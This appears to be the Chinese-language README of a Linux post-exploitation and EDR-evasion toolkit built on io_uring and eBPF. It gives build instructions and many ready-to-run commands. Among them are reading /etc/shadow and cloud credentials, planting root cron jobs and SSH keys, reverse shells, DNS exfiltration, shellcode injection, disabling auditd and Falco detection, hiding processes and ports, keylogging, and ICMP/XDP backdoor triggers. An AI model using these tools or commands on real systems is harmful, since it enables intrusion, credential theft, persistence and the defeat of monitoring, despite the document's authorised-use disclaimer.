面向 Linux 的后渗透与规避研究工具包,基于 io_uring 和 eBPF 构建。不使用 liburing,不依赖框架,全程使用原始系统调用。
更多工具即将推出。欢迎提交 PR。🇧🇷
加入 Rootkit 研究人员社区
仅供授权的安全研究与红队演练使用。请勿在你不拥有的系统上运行。
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 要求
**工具链**
| 工具 | 用途 |
|---|---|
| `gcc` | 所有用户空间二进制程序 |
| `clang` | `ebpf/*.bpf.c` 的 BPF 端程序 |
| `make` | 构建系统 |
**头文件与库**
| 软件包 | 用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` 及相关内核头文件 |
| `libbpf-dev` | `ebpf/` 程序中所使用的 `<bpf/bpf_helpers.h>` 等相关头文件 |
| `bpftool` | 在 `ebpf/` 目录下通过 `make vmlinux` 生成 `vmlinux.h` |
在 Debian/Kali/Ubuntu 上:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
内核版本
| 最低内核版本 | 解锁的功能 |
|---|---|
| 5.4 | io_uring 基础(IORING_FEAT_SINGLE_MMAP、BPF map 迭代) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 拆分(取代用于 BPF 的 CAP_SYS_ADMIN) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
能力
| 能力 | 需要它的工具 |
|---|---|
CAP_BPF(或 5.8 之前的 CAP_SYS_ADMIN) | 所有 bpf/ 工具、ebpf/ 加载器 |
CAP_PERFMON | ebpf/ tracepoint 和 kprobe 程序 |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
内核中必须启用 BTF(CONFIG_DEBUG_INFO_BTF=y)才能为 ebpf/ 程序运行 make vmlinux。
在带有较旧 libc-dev 头文件的发行版(Ubuntu 22.04 等)上,你可能需要 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45。本仓库已处理。
| 命令 | 构建内容 |
|---|---|
make all | 所有内容 |
make uring | 仅 io_uring/ |
make bpf | bpf/ 用户空间工具 |
make ebpf | BPF 端程序(需要 clang + libbpf) |
make edrs | 所有 edrs/ 二进制文件 |
make techniques | Falco 绕过工具 |
make clean | 删除所有二进制文件 |
edrs/ 有自己的子 Makefile,包含约 75 个按权限拆分的二进制文件:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
完整说明见 [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md)。
## io_uring 绕过覆盖
io_uring 的 SQE 会经过内核工作队列。`io_uring_enter(2)` 从不通过 `sys_call_table` 调用,从不触发 `sys_enter_*` tracepoint,也从不命中 `native_sys_call` 上的 livepatch。仅这一点,就能在不接触任何东西的情况下干掉一大类 EDR 钩子。
io_uring 本身能绕过的:
| Hook 点 | 说明 |
|---|---|
| `sys_call_table` 指针替换 | io_uring 从不经过系统调用表 |
| `native_sys_call` / `compat_sys_call` 上的 livepatch | 原因同上 |
| `sys_enter_*` tracepoint | workqueue 路径,不会触发任何 tracepoint |
io_uring 本身无法绕过的(需要主动工具):
| Hook 点 | 工具 | 工具的作用 |
|---|---|---|
| `vfs_read`、`security_file_open` 等上的 kprobes | `ftrace_enum` | 移除 kprobe 钩子 |
| BPF LSM / KRSI | `bpf_link_detach` | 分离 BPF 链接 |
| Linux audit | `audit_kill` | 通过 NETLINK_AUDIT 禁用 auditd |
| LD_PRELOAD / PLT-GOT 补丁 | `plt_unhook` | 移除用户态钩子 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 在二层使用 AF_PACKET,跳过 netfilter |
| `inet_stream_connect` 钩子 | `udp_shell` | 使用 UDP,绝不调用 tcp connect 路径 |
## io_uring/
`iouring_utils.h` 负责处理 ring 的设置,无需 liburing。
| 程序 | 功能 |
|---|---|
| `file_read` | 通过 io_uring 执行 OPENAT+READ+CLOSE 链,不产生 sys_enter_read 事件 |
| `file_write` | OPENAT+WRITE+CLOSE 链 |
| `file_append` | 与 file_write 相同,但使用 O_APPEND,偏移量为 -1 |
| `net_connect` | 在同一个 ring 中完成 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | 通过 io_uring CONNECT 实现反向 shell |
| `multifile_read` | 一个 SQE 批次中最多读取 64 个文件 |
| `memfd_exec` | 通过 stdin 将 ELF 流式写入 memfd,再经由 /proc/self/fd 执行 execve |
| `proc_inject` | 通过 /proc/PID/mem 进行 JIT 注入;ptrace 注入(--ptrace 标志) |
| `pipe_splice` | SPLICE 内核到内核传输,用户态钩子永远看不到字节 |
| `inotify_bypass_watch` | io_uring READ 不会触发 IN_ACCESS/IN_OPEN |
| `dns_exfil` | 通过 io_uring SENDMSG 将数据以十六进制编码为 DNS 查询标签 |
| `af_packet_send` | 通过 AF_PACKET 发送原始以太网帧(IORING_OP_SOCKET,绕过 inet 路径) |
| `xdp_socket_send` | 通过 AF_XDP + UMEM ring 发送原始帧,完全绕过 netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
大多数工具需要 CAP_BPF。env_exfil 可在无特权下运行。icmp_trigger 需要 CAP_NET_RAW 而不是 CAP_BPF。
| 二进制文件 | 功能 |
|---|---|
map_recon | 列出所有已加载的 BPF 映射 |
map_dumper | 按 ID 导出映射内容 |
map_write | 按 ID 更新映射条目 |
map_poison | 在载荷周围将 Falco 的 interesting_sys 条目清零 |
prog_recon | 列出 BPF 程序:类型、名称、映射数量 |
pid_allowlist | 将 PID 插入 EDR 白名单映射 |
edr_fin | 根据已知 EDR 启发式规则对已加载的 BPF 映射/程序进行评分 |
lsm_check | 检测活动的 BPF LSM 钩子,并测试映射写入是否被阻止 |
bpf_persist | 在 bpffs 上固定/获取/解除固定映射和程序 |
map_snapshot | 将映射内容保存到二进制文件并恢复 |
env_exfil | 读取 /proc/*/environ 以获取机密信息 |
bpf_link_detach | 枚举并分离 BPF 链接(移除 LSM 钩子) |
link_update | 将 BPF 链接重定向到无操作程序(钩子保持可见,但不触发任何操作) |
map_freeze | 通过 BPF_MAP_FREEZE 将 BPF 映射冻结为只读(写入返回 -EPERM) |
icmp_trigger | ICMP 魔术包后门;通过 socketpair 中继生成反向 shell;伪装成 kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
需要 clang + libbpf + vmlinux.h。在 `ebpf/` 目录内运行 `make vmlinux`,从正在运行的内核 BTF 生成。
| 文件 | 功能 |
|---|---|
| `exec.bpf.c` | 针对 sys_enter_execve 的 tracepoint |
| `fentry_open.bpf.c` | 针对 sys_enter_openat 的 tracepoint |
| `creds.bpf.c` | 跟踪对凭据路径的 openat+read 操作 |
| `keylog.bpf.c` | 输入事件 tracepoint,原始键码捕获 |
| `net.bpf.c` | sys_enter_connect 日志记录 |
| `net_hide.bpf.c` | 从 /proc/net/tcp 和 /proc/net/udp 隐藏端口 |
| `proc_hide.bpf.c` | 从 getdents64 输出中隐藏 PID |
| `tty_sniff.bpf.c` | 捕获 stdin/stdout/stderr 的写入与读取 |
| `skf_c2_runner.c` | 通过经典 BPF socket filter 建立 ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | 在魔术 UDP 数据包上触发 XDP |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337